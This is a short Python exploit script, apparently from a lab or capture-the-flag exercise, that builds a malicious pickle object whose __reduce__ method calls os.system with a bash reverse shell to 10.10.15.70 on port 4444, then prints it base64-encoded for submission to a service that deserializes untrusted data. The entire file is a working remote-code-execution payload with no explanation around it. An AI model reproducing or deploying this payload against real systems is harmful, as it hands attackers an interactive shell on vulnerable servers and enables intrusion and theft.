import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('bash -c "bash -i >& /dev/tcp/10.10.15.70/4444 0>&1"')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))